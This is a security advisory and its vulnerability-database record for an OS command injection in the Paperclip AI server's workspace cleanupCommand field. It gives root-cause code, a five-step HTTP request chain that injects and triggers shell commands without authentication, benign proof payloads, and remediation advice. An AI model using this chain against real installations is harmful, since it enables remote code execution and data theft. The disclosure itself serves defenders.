GHSA-VR7G-88FQ-VHQ3
Vulnerability from github – Published: 2026-04-16 22:48 – Updated: 2026-04-16 22:48| Field | Value |
|---|---|
| Affected Software | Paperclip AI v2026.403.0 |
| Affected Component | Execution Workspace lifecycle (workspace-runtime.ts) |
| Affected Endpoint | PATCH /api/execution-workspaces/:id |
| Deployment Modes | All — local_trusted (zero auth), authenticated (any company user) |
| Platforms | Linux, macOS, Windows (with Git installed) |
| Date | 2026-04-13 |
Executive Summary
A critical OS command injection vulnerability exists in Paperclip's execution workspace lifecycle. An attacker can inject arbitrary shell commands into the cleanupCommand field via the PATCH /api/execution-workspaces/:id endpoint. When the workspace is archived, the server executes this command verbatim via child_process.spawn(shell, ["-c", cleanupCommand]) with no input validation or sanitization. In local_trusted mode (the default for desktop installations), this requires zero authentication.
Three independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (systeminfo), and GUI application launch (calc.exe).
Root Cause Analysis
Vulnerable Code Path
server/src/services/workspace-runtime.ts (line ~738)
The cleanupExecutionWorkspaceArtifacts() function iterates over cleanup commands from workspace config and executes each via shell:
// workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts()
for (const command of cleanupCommands) {
await recordWorkspaceCommandOperation(ws, command, ...);
}
// recordWorkspaceCommandOperation() →
const shell = resolveShell(); // process.env.SHELL || "sh"
spawn(shell, ["-c", command]);
Missing Input Validation
server/src/routes/execution-workspaces.ts — PATCH handler
The PATCH endpoint accepts a config object containing cleanupCommand with no validation:
PATCH /api/execution-workspaces/:id
Body: { "config": { "cleanupCommand": "<ARBITRARY_COMMAND>" } }
The cleanupCommand value is stored directly in workspace metadata and later passed to spawn() without sanitization, allowlisting, or escaping.
Shell Resolution
resolveShell() returns process.env.SHELL or falls back to "sh":
- Linux/macOS:
/bin/shexists natively — commands execute immediately - Windows:
sh.exeis available via Git for Windows (C:\Program Files\Git\bin\sh.exe) — Paperclip requires Git, soshis present on most installations
Attack Chain
The exploit requires 5 HTTP requests with zero authentication in local_trusted mode:
Step 1 — Find a Company
GET /api/companies HTTP/1.1
Host: 127.0.0.1:3100
[{"id": "59e9248b-...", "name": "Hello", ...}]
Step 2 — Find an Execution Workspace
GET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1
Host: 127.0.0.1:3100
[{"id": "da078b2d-...", "name": "HEL-1", "status": "active", ...}]
Step 3 — Reactivate Workspace (if archived/failed)
PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json
{"status": "active"}
Step 4 — Inject cleanupCommand (Command Injection)
PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json
{"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}}
Response confirms storage:
{"id": "da078b2d-...", "config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}, ...}
Step 5 — Trigger RCE (Archive Workspace)
PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json
{"status": "archived"}
This triggers cleanupExecutionWorkspaceArtifacts() which calls:
spawn(shell, ["-c", "echo RCE_PROOF > \"/tmp/rce-proof.txt\""])
The injected command is executed with the privileges of the Paperclip server process.
Authentication Bypass by Deployment Mode
local_trusted Mode (Default Desktop Install)
Every HTTP request is auto-granted full admin privileges with zero authentication:
// middleware/auth.ts
req.actor = {
type: "board",
userId: "local-board",
isInstanceAdmin: true,
source: "local_implicit"
};
The boardMutationGuard middleware is also bypassed:
// middleware/board-mutation-guard.ts (line 55)
if (req.actor.source === "local_implicit" || req.actor.source === "board_key") {
next();
return;
}
authenticated Mode
Any user with company access can exploit this vulnerability. The assertCompanyAccess check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields.
Proof of Concept — 3 Independent RCE Proofs (Windows 11)
All proofs executed via the automated PoC script poc_paperclip_rce.py.
Proof 1: Arbitrary File Write
Payload: echo RCE_PROOF_595c04f7 > "%TEMP%\rce-proof-595c04f7.txt"
Result:
+================================================+
| VULNERABLE - Arbitrary Code Execution! |
| cleanupCommand was executed on the server |
+================================================+
Proof file: %TEMP%\rce-proof-595c04f7.txt
Content: RCE_PROOF_595c04f7
Platform: Windows 11
Proof 2: System Command Execution (Data Exfiltration)
Payload: systeminfo > "%TEMP%\rce-sysinfo-595c04f7.txt"
Result:
+================================================+
| System command output captured! |
+================================================+
Host Name: [REDACTED]
OS Name: Microsoft Windows 11 Home
OS Version: 10.0.26200 N/A Build 26200
OS Manufacturer: Microsoft Corporation
Registered Owner: [REDACTED]
Product ID: [REDACTED]
System Manufacturer: [REDACTED]
System Model: [REDACTED]
System Type: x64-based PC
... (72 total lines of system information)
Proof 3: GUI Application Launch (calc.exe)
Payload: calc.exe
Result:
+================================================+
| calc.exe launched! Check your taskbar. |
| This is server-side code execution. |
+================================================+
Windows Calculator was launched on the host system by the Paperclip server process.
Impact Assessment
| Impact | Description |
|---|---|
| Remote Code Execution | Arbitrary commands execute as the Paperclip server process |
| Data Exfiltration | Full system info, environment variables, files readable by server process |
| Lateral Movement | Attacker can install tools, pivot to internal network |
| Supply Chain | Workspaces contain source code — attacker can inject backdoors into repositories |
| Persistence | Attacker can create scheduled tasks, install reverse shells |
| Privilege Escalation | Server may run with elevated privileges; attacker inherits them |
Attack Scenarios
- Desktop user (local_trusted): Any process or malicious web page making local HTTP requests to
127.0.0.1:3100can achieve RCE with zero authentication - Team deployment (authenticated): Any employee with Paperclip access can compromise the server and all repositories managed by it
- Chained attack: Combine with SSRF or DNS rebinding to attack Paperclip instances from the network
Remediation Recommendations
Immediate (Critical)
-
Input validation: Reject or sanitize
cleanupCommandandteardownCommandfields in the PATCH handler. Do not allow user-supplied values to be passed to shell execution. -
Command allowlisting: If custom cleanup commands are needed, implement a strict allowlist of permitted commands (e.g.,
git clean,rm -rf <workspace_dir>). -
Use
execFileinstead ofspawnwith shell: Replacespawn(shell, ["-c", command])withexecFile()using an argument array, which prevents shell metacharacter injection.
Short-term
-
Authorization check: Add proper authorization checks BEFORE processing the PATCH request. Validate that the user has explicit permission to modify workspace configuration.
-
Separate config fields: Do not allow the same endpoint to update both workspace status and security-sensitive configuration fields like commands.
Long-term
-
Sandboxed execution: Run cleanup commands in a sandboxed environment (container, VM) with minimal privileges.
-
Audit logging: Log all modifications to command fields for forensic analysis.
-
Security review: Audit all
spawn,exec, andexecFilecalls across the codebase for similar injection patterns.
Proof of Concept Script
Script
The full automated PoC is available as poc_paperclip_rce.py. It:
- Auto-detects deployment mode and skips auth for
local_trusted - Discovers company and workspace automatically
- Reactivates failed/archived workspaces
- On Windows, auto-locates
sh.exefrom Git and restarts Paperclip if needed - Runs 3 independent RCE proofs: file write, systeminfo, calc.exe
- Works on Linux, macOS, and Windows
Usage:
python poc_paperclip_rce.py --target http://127.0.0.1:3100
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@paperclipai/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.416.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:48:09Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "| Field | Value |\n|-------|-------|\n| **Affected Software** | Paperclip AI v2026.403.0 |\n| **Affected Component** | Execution Workspace lifecycle (`workspace-runtime.ts`) |\n| **Affected Endpoint** | `PATCH /api/execution-workspaces/:id` |\n| **Deployment Modes** | All \u2014 `local_trusted` (zero auth), `authenticated` (any company user) |\n| **Platforms** | Linux, macOS, Windows (with Git installed) |\n| **Date** | 2026-04-13 |\n\n---\n\n## Executive Summary\n\nA critical OS command injection vulnerability exists in Paperclip\u0027s execution workspace lifecycle. An attacker can inject arbitrary shell commands into the `cleanupCommand` field via the `PATCH /api/execution-workspaces/:id` endpoint. When the workspace is archived, the server executes this command verbatim via `child_process.spawn(shell, [\"-c\", cleanupCommand])` with no input validation or sanitization. In `local_trusted` mode (the default for desktop installations), this requires zero authentication.\n\nThree independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (`systeminfo`), and GUI application launch (`calc.exe`).\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable Code Path\n\n**`server/src/services/workspace-runtime.ts` (line ~738)**\n\nThe `cleanupExecutionWorkspaceArtifacts()` function iterates over cleanup commands from workspace config and executes each via shell:\n\n```typescript\n// workspace-runtime.ts \u2014 cleanupExecutionWorkspaceArtifacts()\nfor (const command of cleanupCommands) {\n await recordWorkspaceCommandOperation(ws, command, ...);\n}\n\n// recordWorkspaceCommandOperation() \u2192\nconst shell = resolveShell(); // process.env.SHELL || \"sh\"\nspawn(shell, [\"-c\", command]);\n```\n\n### Missing Input Validation\n\n**`server/src/routes/execution-workspaces.ts` \u2014 PATCH handler**\n\nThe PATCH endpoint accepts a `config` object containing `cleanupCommand` with no validation:\n\n```\nPATCH /api/execution-workspaces/:id\nBody: { \"config\": { \"cleanupCommand\": \"\u003cARBITRARY_COMMAND\u003e\" } }\n```\n\nThe `cleanupCommand` value is stored directly in workspace metadata and later passed to `spawn()` without sanitization, allowlisting, or escaping.\n\n### Shell Resolution\n\n**`resolveShell()`** returns `process.env.SHELL` or falls back to `\"sh\"`:\n\n- **Linux/macOS**: `/bin/sh` exists natively \u2014 commands execute immediately\n- **Windows**: `sh.exe` is available via Git for Windows (`C:\\Program Files\\Git\\bin\\sh.exe`) \u2014 Paperclip requires Git, so `sh` is present on most installations\n\n---\n\n## Attack Chain\n\nThe exploit requires 5 HTTP requests with zero authentication in `local_trusted` mode:\n\n### Step 1 \u2014 Find a Company\n\n```http\nGET /api/companies HTTP/1.1\nHost: 127.0.0.1:3100\n```\n\n```json\n[{\"id\": \"59e9248b-...\", \"name\": \"Hello\", ...}]\n```\n\n### Step 2 \u2014 Find an Execution Workspace\n\n```http\nGET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1\nHost: 127.0.0.1:3100\n```\n\n```json\n[{\"id\": \"da078b2d-...\", \"name\": \"HEL-1\", \"status\": \"active\", ...}]\n```\n\n### Step 3 \u2014 Reactivate Workspace (if archived/failed)\n\n```http\nPATCH /api/execution-workspaces/da078b2d-... HTTP/1.1\nHost: 127.0.0.1:3100\nContent-Type: application/json\n\n{\"status\": \"active\"}\n```\n\n### Step 4 \u2014 Inject cleanupCommand (Command Injection)\n\n```http\nPATCH /api/execution-workspaces/da078b2d-... HTTP/1.1\nHost: 127.0.0.1:3100\nContent-Type: application/json\n\n{\"config\": {\"cleanupCommand\": \"echo RCE_PROOF \u003e \\\"/tmp/rce-proof.txt\\\"\"}}\n```\n\nResponse confirms storage:\n```json\n{\"id\": \"da078b2d-...\", \"config\": {\"cleanupCommand\": \"echo RCE_PROOF \u003e \\\"/tmp/rce-proof.txt\\\"\"}, ...}\n```\n\n### Step 5 \u2014 Trigger RCE (Archive Workspace)\n\n```http\nPATCH /api/execution-workspaces/da078b2d-... HTTP/1.1\nHost: 127.0.0.1:3100\nContent-Type: application/json\n\n{\"status\": \"archived\"}\n```\n\nThis triggers `cleanupExecutionWorkspaceArtifacts()` which calls:\n```\nspawn(shell, [\"-c\", \"echo RCE_PROOF \u003e \\\"/tmp/rce-proof.txt\\\"\"])\n```\n\nThe injected command is executed with the privileges of the Paperclip server process.\n\n---\n\n## Authentication Bypass by Deployment Mode\n\n### `local_trusted` Mode (Default Desktop Install)\n\nEvery HTTP request is auto-granted full admin privileges with zero authentication:\n\n```typescript\n// middleware/auth.ts\nreq.actor = {\n type: \"board\",\n userId: \"local-board\",\n isInstanceAdmin: true,\n source: \"local_implicit\"\n};\n```\n\nThe `boardMutationGuard` middleware is also bypassed:\n\n```typescript\n// middleware/board-mutation-guard.ts (line 55)\nif (req.actor.source === \"local_implicit\" || req.actor.source === \"board_key\") {\n next();\n return;\n}\n```\n\n### `authenticated` Mode\n\nAny user with company access can exploit this vulnerability. The `assertCompanyAccess` check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields.\n\n---\n\n## Proof of Concept \u2014 3 Independent RCE Proofs (Windows 11)\n\nAll proofs executed via the automated PoC script `poc_paperclip_rce.py`.\n\n### Proof 1: Arbitrary File Write\n\n**Payload:** `echo RCE_PROOF_595c04f7 \u003e \"%TEMP%\\rce-proof-595c04f7.txt\"`\n\n**Result:**\n```\n +================================================+\n | VULNERABLE - Arbitrary Code Execution! |\n | cleanupCommand was executed on the server |\n +================================================+\n\n Proof file: %TEMP%\\rce-proof-595c04f7.txt\n Content: RCE_PROOF_595c04f7\n Platform: Windows 11\n```\n\n### Proof 2: System Command Execution (Data Exfiltration)\n\n**Payload:** `systeminfo \u003e \"%TEMP%\\rce-sysinfo-595c04f7.txt\"`\n\n**Result:**\n```\n +================================================+\n | System command output captured! |\n +================================================+\n\n Host Name: [REDACTED]\n OS Name: Microsoft Windows 11 Home\n OS Version: 10.0.26200 N/A Build 26200\n OS Manufacturer: Microsoft Corporation\n Registered Owner: [REDACTED]\n Product ID: [REDACTED]\n System Manufacturer: [REDACTED]\n System Model: [REDACTED]\n System Type: x64-based PC\n ... (72 total lines of system information)\n```\n\n### Proof 3: GUI Application Launch (calc.exe)\n\n**Payload:** `calc.exe`\n\n**Result:**\n```\n +================================================+\n | calc.exe launched! Check your taskbar. |\n | This is server-side code execution. |\n +================================================+\n```\n\nWindows Calculator was launched on the host system by the Paperclip server process.\n\n---\n\n## Impact Assessment\n\n| Impact | Description |\n|--------|-------------|\n| **Remote Code Execution** | Arbitrary commands execute as the Paperclip server process |\n| **Data Exfiltration** | Full system info, environment variables, files readable by server process |\n| **Lateral Movement** | Attacker can install tools, pivot to internal network |\n| **Supply Chain** | Workspaces contain source code \u2014 attacker can inject backdoors into repositories |\n| **Persistence** | Attacker can create scheduled tasks, install reverse shells |\n| **Privilege Escalation** | Server may run with elevated privileges; attacker inherits them |\n\n### Attack Scenarios\n\n1. **Desktop user (local_trusted)**: Any process or malicious web page making local HTTP requests to `127.0.0.1:3100` can achieve RCE with zero authentication\n2. **Team deployment (authenticated)**: Any employee with Paperclip access can compromise the server and all repositories managed by it\n3. **Chained attack**: Combine with SSRF or DNS rebinding to attack Paperclip instances from the network\n\n\n---\n\n## Remediation Recommendations\n\n### Immediate (Critical)\n\n1. **Input validation**: Reject or sanitize `cleanupCommand` and `teardownCommand` fields in the PATCH handler. Do not allow user-supplied values to be passed to shell execution.\n\n2. **Command allowlisting**: If custom cleanup commands are needed, implement a strict allowlist of permitted commands (e.g., `git clean`, `rm -rf \u003cworkspace_dir\u003e`).\n\n3. **Use `execFile` instead of `spawn` with shell**: Replace `spawn(shell, [\"-c\", command])` with `execFile()` using an argument array, which prevents shell metacharacter injection.\n\n### Short-term\n\n4. **Authorization check**: Add proper authorization checks BEFORE processing the PATCH request. Validate that the user has explicit permission to modify workspace configuration.\n\n5. **Separate config fields**: Do not allow the same endpoint to update both workspace status and security-sensitive configuration fields like commands.\n\n### Long-term\n\n6. **Sandboxed execution**: Run cleanup commands in a sandboxed environment (container, VM) with minimal privileges.\n\n7. **Audit logging**: Log all modifications to command fields for forensic analysis.\n\n8. **Security review**: Audit all `spawn`, `exec`, and `execFile` calls across the codebase for similar injection patterns.\n\n---\n\n## Proof of Concept Script\n## Script\n[poc_paperclip_rce.py](https://github.com/user-attachments/files/26697937/poc_paperclip_rce.py)\n\nThe full automated PoC is available as `poc_paperclip_rce.py`. It:\n\n- Auto-detects deployment mode and skips auth for `local_trusted`\n- Discovers company and workspace automatically\n- Reactivates failed/archived workspaces\n- On Windows, auto-locates `sh.exe` from Git and restarts Paperclip if needed\n- Runs 3 independent RCE proofs: file write, systeminfo, calc.exe\n- Works on Linux, macOS, and Windows\n\n**Usage:**\n```bash\npython poc_paperclip_rce.py --target http://127.0.0.1:3100\n```",
"id": "GHSA-vr7g-88fq-vhq3",
"modified": "2026-04-16T22:48:09Z",
"published": "2026-04-16T22:48:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-vr7g-88fq-vhq3"
},
{
"type": "PACKAGE",
"url": "https://github.com/paperclipai/paperclip"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Paperclip: OS Command Injection via Execution Workspace cleanupCommand"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.